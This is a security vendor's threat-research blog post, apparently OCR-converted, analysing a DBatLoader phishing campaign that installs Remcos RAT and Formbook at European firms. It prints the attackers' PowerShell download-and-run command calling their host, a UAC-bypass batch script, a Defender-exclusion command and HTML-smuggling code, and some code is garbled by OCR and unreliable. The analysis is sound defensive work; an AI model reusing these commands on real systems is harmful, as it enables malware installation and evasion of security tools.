DBatLoader Actively Distributing Malwares Targeting Europea

@ zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses

This Zscaler ThreatLabz research article investigates the latest malware campaign of DBatLoader, which is being used by threat actors to
target various businesses in European countries with Remcos RAT and Formbook. The article provides a detailed analysis of DBatLoader's
behavior and its attack process, which includes creating a mock trusted directory, using an executable to load the malicious DLL script, and
executing powershell commands in BAT script to exclude Microsoft Defender scanning. The article also highlights the use of different file
formats and obfuscation methods to avoid detection from antivirus engines. ThreatLabz in-depth analysis of DBatLoader includes the
identification of key indicators of compromise and mapped MITRE ATT&CK techniques used by the attackers. The researchers conclude by
recommending that users and organizations stay vigilant against such malspam phishing campaigns and use advanced security solutions to
defend against malware.

Introduction:

The ThreatLabz research team at Zscaler remains vigilant in monitoring active threat campaigns. Recently, the team identified a new campaign
involving DBatLoader also known as ModiLoader that specifically targets manufacturing companies and various businesses in European
countries via phishing emails. The malware payload is distributed through WordPress websites that have authorized SSL certificates, which is
a common tactic used by threat actors to evade detection engines. Throughout this campaign, researchers observed multiple techniques
employed by the threat actor in the phishing emails to distribute Remcos RAT and Formbook via DBatLoader / ModiLoader.

Key Takeaways:

Zscaler's ThreatLabz Research team identified a new DBatLoader campaign distributing Remcos RAT and Formbook malware.

The campaign targets manufacturing companies and multiple businesses in European countries through phishing emails.

The malicious payload is distributed through WordPress sites with authorized SSL certificates.

Multiple techniques are used in phishing emails to deceive users into downloading the payload, including using courier-themed schemes
and disguising PDF attachments as Revised Order Documents, Payment Invoices, Quotations, Sales Orders, and similar items.

The attackers use multilayer obfuscation techniques and various file formats, such as PDF, HTML, ZIP, and OneNote, to deliver the
payload.

The malwares analyzed during this investigation uses mock trusted directories to bypass Windows User Account Control (UAC) and
elevate to higher privileges without displaying a UAC prompt.

DBatlLoader creates a copy of itself and a file with .url extension for persistence and creates an autorun registry key to survive reboots.

@timestamp targetHost vertical

2023 @ 19:31:26.000 Feb 22, 2023 @ 19:31:26.000 silverline.com. MANUFACTURING

2023 @ 19:31:26.808 Feb 22, 2023 @ 19:31:26.0600 silverline.com. MANUFACTURING

2023 @ 19:30:52.808 Feb 22, 2023 @ 19:30:52.0600 silverline.com. MANUFACTURING

2023 @ 19:30:50.000 Feb 22, 2023 @ 19:30:58.000 silverline.com. MANUFACTURING

Fig.1 - Campaign targeting manufacturing companies - source: Zscaler Cloud

RemcosRAT Campaign Overview:

This diagram illustrates how the Remcos RAT was distributed and executed on the victim's machine during the campaign:
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Malicious Shortcut PDF extension

Fig.2 - Attack chain and execution flow of RemcosRAT

The attack begins with a phishing email titled "Purchase Order SZ5-9-020" that appears to come from a manufacturing company based on a
quick examination of the domain and footer. The email is crafted to deceive users into opening the attachments without suspicion. The
attached PDF file contains a malicious link labeled "View Secured Document." Clicking on this link downloads a CAB file, which stores
installation data and ultimately downloads and executes DBatLoader and Remcos RAT.

1/12


https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses

Karen Hasan Placeholder Documentation g

a
Purchase Order $75-9-020 This document is a placeholder for the appropriate documentation, 1
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- =  todownload CAB file
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Fig.3 - Phishing email with attached malicious PDF

The CAB file that is downloaded includes an LNK file with a PDF extension designed to trick users into opening it. Once the payload is
extracted, a PowerShell script is executed to download and run DBatLoader.

"C:\Windows\Syswow64\windowsPowershell
\v1.0\powershell.exe" Invoke-WebRequest -Uri
'"https://silverline. com.sq/admin/Xdfiifagcwrbrg. exe'
-OutFiTe Senv:temp\file.exe; start Senv:temp\file.exe

Extracted LNK File .E Powershell Script to

Download and Execute Payload
Revised_Order_D @\:cd Order Q
ocument.cab uotation.pdf

Fig.4 - Downloaded CAB file and execution of LNK file

Several similar attacks have been observed from the beginning of this year, all originating from the same WordPress site, using
DBatLoader/ModiLoader to download Remcos RAT. The threat actor(s) behind these attacks employs the same attack chain, but pretends to
be a different manufacturing company each time to evade detection and deceive victims.

Hello, Placeholder Documentation ~

This document is a placeholder for the appropriate documentation. T
My procurement department wrote you to give us competitive price list, which we have not gotten any reply yet from your side.
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Phishing Emaill ——» Attached PDF
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Purchase Department (Main Branch)
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| Extract 3 ‘
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Fig.5 - Similar attack chain with different phishing email

During the investigation of active campaigns, various shortcut files with names like "Quotation.pdf.Ink" and
"Revised_Order_Document.pdf.Ink" were discovered. These shortcuts were responsible for downloading DBatLoader/ModiLoader with

Remcos RAT from the same WordPress site.

Formbook Stealer Campaign Overview:

During investigation, a courier-themed phishing email was discovered, which delivered Formbook via DBatLoader/ModiLoader. The payload
was downloaded from a WordPress site with an .eu (European Union) top-level domain and authorized SSL certificate. Multiple malicious
PDFs with embedded links were also found, which used a similar trick to the Remcos RAT campaign to download DBatLoader/Formbook from

the WordPress site.

1a Benitez Purchase NEW

A0034372876RFQ/02/14/23 Phishing Mail

good morning verkauf,

I hope this email finds you well.

I'm following up on previous emails |'ve sent to you.

The closing date has been extended to February 22, 2022
| have reattached the document for your review.

Attached file | 880KB

B htt

an » 400

sle ontent/themes/
72876rfq021423.cab
Click or tap to follow link.

Download RAR file

Descargar

The excel sheet is exported so you may need to import the columns

Gracias.

Ana Benitez

premises 2.1 and 2.2

Innovation That Matters™

| innovation that matters

Fig.6 - Formbook campaign attack chain
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Other Observed Techniques in DBatLoader Campaign:

Several other phishing emails were discovered during the course of investigating this campaign, using malicious files in various formats such
as HTML and OneNote as attachments. These are described below.

In an HTML-based campaign, the threat actor employs a multi-layered obfuscated HTML file as an attachment to deploy the DBatLoader

payload on the targeted system.

Wed 3/1/2023

Dursun Ali 674
RE: INSPRO - DURKOPP ADLER 867 ECO - 190020M- NO- 57 | 19

@ Attached Document html
g html File

Hello info

Hope all is well with you, Kindly quote the attach, take note of first field. inform me when it will
be be completed.
Best regards

izi bekler, hayAsriA+ iAVler dileriz.
mA+zla,

SaygAtlarA+

[SPAM?] Auftragsbestitigung NO: 753 -807

B Neue Anfrage 8748859GDTEhtml

html File

Mit freundlichen Griiien

Hallo info,

Ich hoffe, das Geschift lduft gut, nach Durchsicht Ihres Produktkatalogs haben wir unsere Bestellung fiir

diesen Monat arrangiert. Bitte bestdtigen und informieren Sie mich {iber die Verfligbarkeit.
Wir brauchen Artikel in Istanbul, sobald es fertig ist. Ich erwarte Ihre Antwort, damit wir fortfahren konnen.

I hope business is going well, after reviewing your
product catalogue, we have arranged our order for this

We need items in Istanbul as soon as it is ready. I
await your reply so we can proceed.

34524-Beylikdizi-ISTANBUL

month. Please confirm and inform me about availability.

Fig.7 - HTML-based attachment campaign

Flow of HTML file to drop ISO file which contains DBatLoader payload:
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HTML -> Base64 Javascript -> Base64 ISO -> Drop ISO File -> DBatLoader payload

The flow of the HTML file involves dropping an ISO file that contains the DBatLoader payload. The HTML file is first processed through Base64
Javascript, which then leads to the Base64-encoded ISO file. Finally, the ISO file is dropped to execute the DBatLoader payload.

" ont-family:Tahoma,Geneva,3ans-serif'scing 2lt-" co'httpa://cttuse.cos/axi/pdf-download. Jpg” Ty

<= font-sles: 48panscopan SLyle="font-family: Tahona Geneva,sans-serif"><sizons>Your file has besn downloadsd

Lomr fons-zize: 36 Lu="font-family: Takona, Geneva, sans-serié">cetrong>Kindly check your browser

Your file has been downloaded
Kindly check your browser downloads.

‘ Base64 encoded Javascript

////favAcBBAAAEEQn1@ZQEAAAAA /WAAAICEEEAAAQRXD3IKAWAAAAD

start: 1310721 ti 188ns

Output

IMGBURN V2.5.8.8 - THE ULTIMATE IMAGE BURNER!
20823030104033400.202303011
L T N PP

...ImgBurn

Remave non-alphabet chars

Base64 encoded ISO File

v
muare. Lrarveo  length: 1747628 -
o I gt s @ Em . as
ength: e : Recipe B nput =1 |
B AR A ARAAA A AN A A A A AR AR AR AR A A AR A A AR A A A AA A AR A A A A A A A A AR AN RS AT AAARK P P Name: PastedData
AAAAAAAAAAAAAAAAA Size: 23,30,864 bytes
From Base64 9 n File icon
BBBAAAMHOMOVbGVhbEE QAAARAQQAAFRMF s c 2UEVHI1ZY1AACHQQAACBENCYXTE Type tetichin
AAAAAPEAAACQQBBAAAETU21hbGXpbnQCATID/ / /9/ AACQUWBBAAAEHSWS@ZIWA 1cgQAAACA Alphabet . .
A-7a-78-9+/= Output B :

var saveData=function(){var e=decument.createflement(‘a’);return
document .body . appendChild(e) e.style="display: none',function(n,o){canst
t=atob(n),a=new Array(t.length);for(let e=ejact.length;
et++)a[e]=t.charCodeAt(e);const r=new Uint8Array(a);blob=new Blob([r],
{type:octer/strean' }), url=window. URL . createObjectURL (Blob) , e hrefeurl, e. downlo

O strict mode

ad=0,window.navigatorss
window.navigator.msSave0rOpenBlob2uindow.navigator .msSaveoropenBlob (bloh, o) |

(e.click(),window.URL.revekeObjectURL (url)) }}();

saveData("

Fig.8 - HTML obfuscation to drop ISO file

In a OneNote attachment campaign, threat actors utilized OneNote attachments to drop the DBatLoader in a campaign targeting various
businesses. The latest technique involved hiding the embedded malicious payload behind a fake button, deceiving users into running the
malware. Since November 2022, an increase in the use of OneNote files as initial vectors for malware distribution has been observed. To learn
more, check out the Zscaler ThreatLabz research blog on OneNote released earlier this month for more detailed information on related

campaigns and obfuscation techniques.

Two phishing attacks with the same malspam sender name were discovered in this campaign, and the attached OneNote files contained the

embedded DBatLoader payload.

Phishing Mail
PROPERTY PURCHASE & SALE

Estate Property.one

mE .one File

Good Day,
I want to purchase some property at a very good location that you can advise. |
want the best price, Kindly take a look at the last page of the included document
carefully. | want to also sell one of my properties if that can be done.l have
included all my existing property documents.

Note: | would like to know all basic information(Price,Location) & if a lease can
be done also kindly let me know.

Thank you and please let me know if you have any questions!
Let me know your feedback soon.

Thanks

Jessica Hernandez

Attached OneNote File

Estate Property

Tuesday, January 24, 2023 6:13 PM

id

Hidden embedded Payload Xnsheyco...

behind Fake Button

CLICKTO VIEW DOCUMENT

Double click to run payload

Fake Button
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Sun 2/12/2023 5:34 PM

Torica Hermarder Phishing Mail Construction Documents Attached OneNote File
Complete Construction Tuesday, January 24,2023 6:13PM
ConstructionDocuments.one
= 924 kB
[**EXTERNAL EMAIL**]
Good Day, Hidden embedded Payload _,I
) k . . i behind Fake Button
We are looking to discuss complete Construction,Maintenance & Design. We Yokzgytdj...

recently incurred some damages and | think this is beyond repair.

Please let me know If you are available to get it done for us . We wish to also
know the time schedule.

Kindly find the detailed information of the damages.

Thank you and please let me know if you have any questions! |
Let me know your feedback soon. Double click to run payload

CLICKTO VIEW DOCUMENT

Thanks

Fake Button

Fig.9 - OneNote attachment campaign

Technical Analysis of DBatLoader/ModiLoader:

DBatLoader/ModiLoader/NatsoLoader is a Delphi compiled binary that drops final payloads like Formbook, Remcos RAT, Netwire RAT, and
Warzone RAT. It uses multi-layer obfuscation and image steganography techniques to hide the initial stage from detection engines and
download obfuscated later stage payloads from public cloud services like OneDrive and Google Drive. The Loader doesn't use any Anti-
Debug/Anti-VM/Anti-Sandbox techniques.

Stage 1:

In the first stage, four steps are followed: Extraction, Decoding, Allocation, and Execution.

Step 1 - Extraction:

In this stage Form has been created via the ‘TFormSplash_FormCreate’ in this there is a function named ‘Oncreate()’ which contains the
actual Code for the Loader.

i <U>
- TForm #084449C8 SZ=2F8
- <U>
- TFormSplash #0O4551E@ Sz=2FC

- <E>
| ..#B8p455388: TFormSplash.FormCreate
------ #00455388: TFormSplash.FormMouseDown

Fig.10 -Function Oncreate() contains the Loadercode

DBatLoader's resource section contains a GIF image as the second stage encrypted payload.

Cusor
Bimep
Teen
Didog
»=-_ | Sving Table
v -, RCData
o DVCLAL : 0
2t PACKAGEINFG ; 0
o TFORMSPLASH : 0
L UGST: 3033
userGrowp
Teon Group
Version Info

T8 Bt X 1Q B/
0el %

nose=m R¥ -3

y o §Y
Fyln e
I

Fig.11 - Encrypted GIF payload in resource section
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The following function in DBatLoader is responsible for reading encoded data from the 'uski' resource name within the file and subsequently
loading it into memory.

Step 2 - Decoding:

**)GetMethod + 1

Fig.13 - Decoding function
The following is an explanation of the function's logic:

* The encrypted byte from the resource section is added to the number 79.

« If the resulting value exceeds 255, an Overflow occurs, and the excess amount is ignored and stored in a variable.

o Otherwise, the result is stored in the same variable.

» The resulting value is then converted from hexadecimal to string, and individual bytes are retrieved to decode the second stage DLL
payload.

Example python script used to decode the payload:

(
bytes_read

b bytes_read:
newb = b +
newb >
lower_bytes (newb -

lower_bytes = newb
new_format = (lower_bytes, 'x
(new_format) =
new_format = "0" + new_format
(new_format)
("my_file.exe", "ab") binary_file:
binary_file.write(bytes.fromhex(new_format))

Fig.14 - Python script to decode payload

Step 3 - Allocation:

Once the payload has been decoded, the F_Execution_main function is responsible for allocating the decoded payload into memory.

Second_Stage = j_unknown_libname_56_@(&unk_458CA8) ;
F_Execution_main(Second_Stage);

ExitProcess_8(9);

Fig.15 -Function for memory allocation

The decrypted payload will be allocated in the memory of the DBatLoader's own process through the use of the 'VirtualAlloc' API. This
decrypted payload constitutes the second stage DLL, which carries out additional malicious activities of the DBatLoader. It is worth noting that
the second stage payload can take the form of either a DLL or an executable (EXE) file.
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Widestringtocharacter(vsd, wé);

v25 = *({const CHAR **)w593;

System::_ linkproc_  LStrCat3((int)&vse, &str_Am[1], dword_458C28);

v7 = (unsigned _ int8)System::_ linkproc__ LStrToPChar((char *}wS&);

Widestringtocharacter(vs7, v7);

Dllioad(*(int V57, v25, (int)&dword 458C3C);

dword_458C34 = w69 + *(_DWORD *)(v6d + 68);

dword_458BF8 = LoadlLibraryA_@("kernel32");

dword_458C08 = (int {_ stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress_6(
dword_458BF3,
"VirtualAlloc™);

Fig.16 - VirtualAlloc API used for memory allocation

Step 4 - Execution:

The main function calls another function, passing the decoded value of the second stage as an argument, in order to execute the final payload.

Execution_for_unpacked(dword_458C2C);
__writefsdword(®, v41l);
v43 = (_strings *)&loc_4535A1;

System::_ linkproc__ LStrArrayClr(&v4e, 25);
System::_ linkproc__ WStrClr(&v65);

Fig.17 - Function for execution

Stage 2:

Once the first-stage DBatLoader loads the decoded second-stage payload into memory, the second-stage payload drops four files on the
infected system's disk path 'C:\Users\Public\Libraries'. The dropped files include two batch files named 'XdfiifagO.bat' and 'KDECO.bat',
one DLL file named 'netutils.dll', and one executable file named 'easinvoker.exe'.

XdfiifagO.bat

"\\?\C:\Windows "

"\\?\C:\Windows \System32"
"easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
"netutils.dll"™ "C:\Windows \System32\" /K /D /H /Y
"KDECO.bat" "C:\Windows \System32\" /K /D /H /Y

"C:\Windows \System32\easinvoker.exe"
.0.0.1 -n
/q "C:\Windows \System32\*"
"C:\Windows \System32™
"C:\Windows \"

Fig.18 - Initial Bat script

The first 'XdfiifagO.bat' batch file then leverages a well-known technique of bypassing Windows User Account Control (UAC) called the 'Mock
Trusted Directories Method' to escalate privileges without displaying a UAC prompt. This method involves creating a fake directory with extra
whitespace and the same name to a legitimate trusted location, such as "C:\Windows \System32", and copying the required files to it.

Since the mock directory cannot be created through the Windows Explorer User Interface, the attacker uses a script to create it. Once the
directory is created, the batch file copies the legitimate ‘easinvoker.exe’ executable, the malicious ‘netutils.dIl’, and the ‘KDECO.bat’ script
into it. The script then executes ‘easinvoker.exe’ from the mock directory and adds a delay using the 'ping 127.0.0.1 -n 6 > nul' command.
Finally, the mock directory is deleted.

The auto-elevated ‘easinvoker.exe’ executable is vulnerable to the 'relative path DLL Hijack' variant of DLL Hijacking. Windows
automatically elevates this process without displaying a UAC prompt if it is located in a trusted directory. Therefore, the attacker copies
‘easinvoker.exe’ to the mock directory and uses it to load the malicious ‘netutils.dIl’, which in turn executes the ‘KDECO.bat’ script.

KDECO.bat

/min powershell -WindowStyle Hidden -inputformat none -outputformat none

-NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users

Fig.19 - Second Bat script
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The script ' KDECO.bat' includes PowerShell commands that exclude the 'C:\Users' directory from being scanned by Microsoft Defender.

(*(void (__fastcall **)(int, const char *))(*(_DWORD ')dword 425B80 + 56))(dword_425B88, "[Internet
tem::_ linkproc__ LStrCatN(&v1e43, 3 2, "l :\"", dword_4259B8, dword_ 41F248)
void (_ fastcall **)(int, int))(*(_DWORD *)dword_: 425889 + Sc))(dword 425B80, v1e43);

3 = Random(58);

Sysutils::IntToStr( 3 +9);

System::_linkproc__ LStrCat3(&vi1e42, "Ic vie4i[1], vee2);

id (__fastcall **)(int, int))(*(_DWORD *)dword_425B8@ + SC))(dword_AZSBBB, v10842);
Random(92);

Sysutils::IntToStr(v284 + 1);

System::__ linkproc__ LStrCat3(v1e41, "Ho ', vle4e[1l], veez2);

(*(void (__fastcall **)(int, int))(*(_DWORD *)dword_425B8@ + 56))(dword_425B8, 41[e]);

= dword_425B78;
= (CHAR *)dword_41F1C8;

sub_418218(dword_425BC4, &v1938);

System::_ linkproc__ LStrCatN(&v1639, 4, , V602, v6Pl, v6ee, vie3s, ".url");

v286 = System::_ linkproc__ LStrToPChar(v1e39);

unknown_libname_336(v1048, v286);

Fig.20 - Function to create .url file

DBatLoader achieves persistence by creating a copy of itself and a file called ‘gafiifdX.url’ in the 'C:\Users\Public\Libraries' directory. The
‘gafiifdX.url' file is an internet shortcut that executes the dropped malicious payload on the system. By using this file, DBatLoader creates an
autorun registry key under 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' to survive a reboot.

Here is the content of the 'gafiifdX.url' file:
[InternetShortcut]
URL=file:"C:\\Users\\Public\\Libraries\\Xdfiifag.exe"
Iconindex=13

HotKey=49

Conclusion

In conclusion, DBatLoader is a sophisticated malware that is actively targeting various businesses, primarily in European countries, with the
Remcos RAT. It uses multiple file formats and obfuscation methods to avoid detection from antivirus engines. DBatLoader drops several files,
including DLLs, EXEs, and batch files, to perform its malicious activities. The malware is distributed through a phishing campaign that
continuously adapts to new distribution mechanisms. Zscaler's Threat Labs team analyzed the behavior of various files associated with
DBatLoader using the MITRE ATT&CK framework and displayed the threat scores and techniques triggered. The team is continuously
monitoring the campaign and will bring to light any new findings they discover. Organizations must remain vigilant and employ best practices to
protect against such threats, including security awareness training and implementing multi-layered security defenses.

Zscaler Sandbox Coverage

Zscaler Sandbox was used to analyze the behavior of different files during the investigation of this campaign, the results show the threat
scores and the specific MITRE ATT&CK techniques triggered as shown in the screenshots below.
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@5>zscaler Cioud Sandbox

SANDBOX DETAIL REPORT
Report ID (MD5): BIB76651C4DB6ABA742722CE54E38789

CLASSIFICATION

Class Type Threat Score
Malicious 1 0 O
Category

Malware & Botnet T

SECURITY BYPASS

* Writes To Foreign Memory Regions

« sample Execution Stops While Process Was Sleeping (Likely An Eva-
sion)
« Allocates Memory In Foreign Processes

Enables Debug Privileges
Found A High Number Of Window | User Specific System Calls
* Uses Ping.exe To Sleep

SPREADING

* Detected Remcos RAT

SHighRisk  ©® ModerateRisk  © Low Risk

Analysis Performed: 15/3/2023 3:11:58 pm

MITRE ATT&CK i

This report contains 25 ATT&CK techniques mapped to 8 tactics

b NETWORKING b

Uses Ping.exe

Performs Connections To IPs Without Corresponding DNS Lookups
Detected TCP Qr UDP Traffic On Non-standard Ports
Snort IDS Alert For Network Traffic

Uses HTTPS
v Uses Secure TLS Version v
b INFORMATION LEAKAGE i

« Enumerates The File System

Fig.21 - DBatloader/ModilLoader Zscaler sandbox report

Zscaler’s multilayered cloud security platform detects payloads with following threat names:

MITRE ATT&CK Techniques:

Uses Dynamic DNS Services ~

VIRUS AND MALWARE

No known Malware found

STEALTH

= Drops PE Files With A Suspicious Extension

* Suspicious Powershell Command Line Found

= DLL Side Loading Technique Detected

» Binary Contains A Suspicious Time Stamp

= Adds A Directory Exclusion To Windows Defender

Creates A Process In Suspended Mode (Likely To Inject Code)
Disables Application Error Messages

.

EXPLOITING

= Known MD5
Executes Batch Files

=

File Type: exe

Tactic Technique ID Technique Name
Execution T1064 Scripting
T1059.001 PowerShell
Persistence T1547.001 Registry Run Keys / Startup Folder
Privilege Escalation T1574.002 DLL Side-Loading
Defense Evasion T1562.001 Disable or Modify Tools
T1140 Deobfuscate/Decode Files or Information
Scripting
T1064
Obfuscated Files or Information
T1027
Software Packing
T1027.002
Timestomp
T1070.006
DLL Side-Loading
T1574.002
File Deletion
T1070.004
Masquerading
11036
Virtualization/Sandbox Evasion
T1497
Process Injection
T1055
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https://attack.mitre.org/techniques/T1140
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https://attack.mitre.org/techniques/T1027/002
https://attack.mitre.org/techniques/T1070/006
https://attack.mitre.org/techniques/T1574/002
https://attack.mitre.org/techniques/T1070/004
https://attack.mitre.org/techniques/T1036
https://attack.mitre.org/techniques/T1497
https://attack.mitre.org/techniques/T1055

Discovery T1124 System Time Discovery

T1083 File and Directory Discovery

11082 System Information Discovery

T1518.001 Security Software Discovery

T1057 Process Discovery

T1010 Application Window Discovery

T1018 Remote System Discovery

T1016 System Network Configuration Discovery
Collection T1560 Archive Collected Data
Command and Control T1219 Remote Access Software

T1573 Encrypted Channel

T1571 Non-Standard Port

T1095 Non-Application Layer Protocol

T1071 Application Layer Protocol

Indicators of Compromise (IOCs):

Remcos RAT Campaign:

File Name Md5 Description Network Activity/C2

Purchase Order SZ5-9-020.msg d51576e2e216292a72ce16821f9696d3  Phishing mail -

Revised Order Document.pdf Oe8aefd1dade4f059c2881c6e05f689f Malicious hxxps://silverline[.Jcom[.]¢
attachment

Revised_Order_Document.cab

ef02ba99d974787a70085537918117¢c4

Downloaded CAB
file

Revised_Order_Quotation.pdf.Ink

4c39cdd2bfb2c7dde761a6e5b8c01321

Extracted LNK file

hxxps://silverline[.Jcom[.]¢

Xdfiifagcwrbrg.exe

85b2a41e98412f2867715c9aebad27ac

DBatLoader/Remcos
RAT

185[.]246[.]220[.163

SZ59020_JF_KOREA_Co_Ltd_Sales_Order.pdf

¢1d19535ded9e0ff8e293f6852b24b91

Malicious
attachment

hxxps://silverline[.Jcom[.]¢

S759020_JF_KOREA_Co_Ltd_Sales_Order.cab

1d1f8534ee6dbe1dbeade30e912a9136

Downloaded CAB
file

S759020_JF_KOREA_Co_Ltd_Sales_Order.pdf.Ink

fOb7bad0eb081c6b7d3df74e733efd1c

Extracted LNK file
download payload

https://silverline[.Jcom][.]s¢

Fsofwcgmhvvgna.exe

00c168883239c13aa213a5337aca3dae

DBatLoader/Remcos
RAT

185[.]246[.]220[.163

Quotation.pdf.Ink

2a8836fa3879074748f6dca63476aba9

Malicious LNK file
download payload

hxxps://silverline[.Jcom[.]¢
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https://attack.mitre.org/techniques/T1124
https://attack.mitre.org/techniques/T1083
https://attack.mitre.org/techniques/T1082
https://attack.mitre.org/techniques/T1518/001
https://attack.mitre.org/techniques/T1057
https://attack.mitre.org/techniques/T1010
https://attack.mitre.org/techniques/T1018
https://attack.mitre.org/techniques/T1016
https://attack.mitre.org/techniques/T1560
https://attack.mitre.org/techniques/T1219
https://attack.mitre.org/techniques/T1573
https://attack.mitre.org/techniques/T1571
https://attack.mitre.org/techniques/T1095
https://attack.mitre.org/techniques/T1071

Dvicvwxfouxvgm.exe

b2d368435d5896419751add4cc338fc4

RAT

DBatLoader/Remcos hallowed247[.]Jduckdns].]«

Revised_Order_Document.pdf.Ink

Formbook Stealer Campaign:

be889f4ab5ce7e99¢131463c58205bal

Malicious LNK file

hxxps://silverline[.Jcom[.]¢

download payload

File Name Md5

Description

Network Activity/C2

A0034372876RFQ 02 14

d9844515b7d09d74de188856b60c88c0  Phishing mail

hxxps://sledal.]sleda[.]Jeu/wp-

23.msg content/themes/A0034372876RFQ021423.c

A0034372876RFQ.pdf 10904cb6103086d04ba0d76bcf7a65dc  Malicious PDF hxxps://sleda[.]sleda[.]Jeu/wp-
content/themes/A0034372876RFQ021423.c.

A0034372876RFQ.pdf 1978b12cacb91b0d0f77a9979db9e671  Malicious PDF hxxps://sleda[.]sleda[.]eu/wp-

content/themes/A0034372876RFQ021423.c

A0034372876RFQ021423.cab 3dde7b13d4736¢c11a67bc8fbad976d37  Downloaded CAB File -

A0034372876RFQ021423.exe fb7dbeea12e4729cf11d6de8588f2b7e

HTML Attached Campaign:

DBatLoader/Formbook thesquirrelgame[.Jnet

b-yy[.Ixyz

File Name

Md5

Description

cdac8ab69c¢92d012de0650c64be1c335

Phishing Mail

Attached Document.html

eb4f0eabaeabalcab3d257cfb04023e2

Attached HTML File

Attachment.ISO

d9bfe352512b49e002a2744f9d80879a

Dropped ISO File

DOCX Specification and Drawing Document874559 PDF.exe

42d872a2eae6e4f0d171d1f291846e30

DBatLoader

9e7212a41b4885094008bfe2c5e1b54e

Phishing Mail

Neue Anfrage 8748859GDTE.html

€7ab3b74689203a229a62b87865f1e7¢c

Attached HTML File

Neue_Anfrage.iso

35e8d4¢313c7e793a5¢c92995147a310

Dropped ISO File

Neue Anfrage 8748859GDTE.scr

OneNote Attached Campaign:

1d177fccdcc51ad5d20545bd65d9¢352

DBatLoader/NetWireRC RAT

File Name

Md5

Description

PROPERTY PURCHASE & SALE.msg

cac32da3ef6d2c4551e73ebfafef4393

Phishing Mail

Estate Property.one

1¢19601797e347b2c70c0cd48f7ccd9d

Attached OneNote File

Xnsheycoorkeea.exe

b11db475600ad34d68ad26fb30abe498

DBatLoader/Remcos RAT
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f3232e7b-fb3b-34f3-51bd-249570f678de.eml

bc701846e84feb25a355f34194€2a957  Phishing Mail

ConstructionDocuments.one

04ecfc3fa0c53151d976f2d6fbd65¢c31 Attached OneNote File

Yokzgytdjocuus.exe

DBatLoader/ModiLoader loCs:

b1b76651c4db6ab4742722ce54e38789 DBatlLoader/Remcos RAT

File Name Md5

Description

XdfiifagO.bat 55aba243e88f6a6813c117ffe1fa5979 Initial Bat File

KDECO.bat 213c60adf1c9ef88dc3c9b2d579959d2  Second Bat File

easinvoker.exe 231ce1e1d7d98b44371ffff407d68b59 Legitimate Windows executable

netutils.dll b375e74a145¢c45d07190212e9157e5f8 Malicious DLL

Appendix:

Python script to decode encrypted resource section of DBatLoader -

with open("<YourencodedFile>", "rb") as f:
bytes_read = f.read()
with open ("my_file.dll","wb"):
pass
for b in bytes_read:
newb =b + 79
if newb > 255:
lower_bytes = (newb - 256)
else:
lower_bytes = newb
new_format = format(lower_bytes,'x’)
if len(new_format) == 1:
new_format = "0" + new_format
print(new_format)
with open("my_file.dll", "ab") as binary_file:

binary_file.write(bytes.fromhex(new_format))
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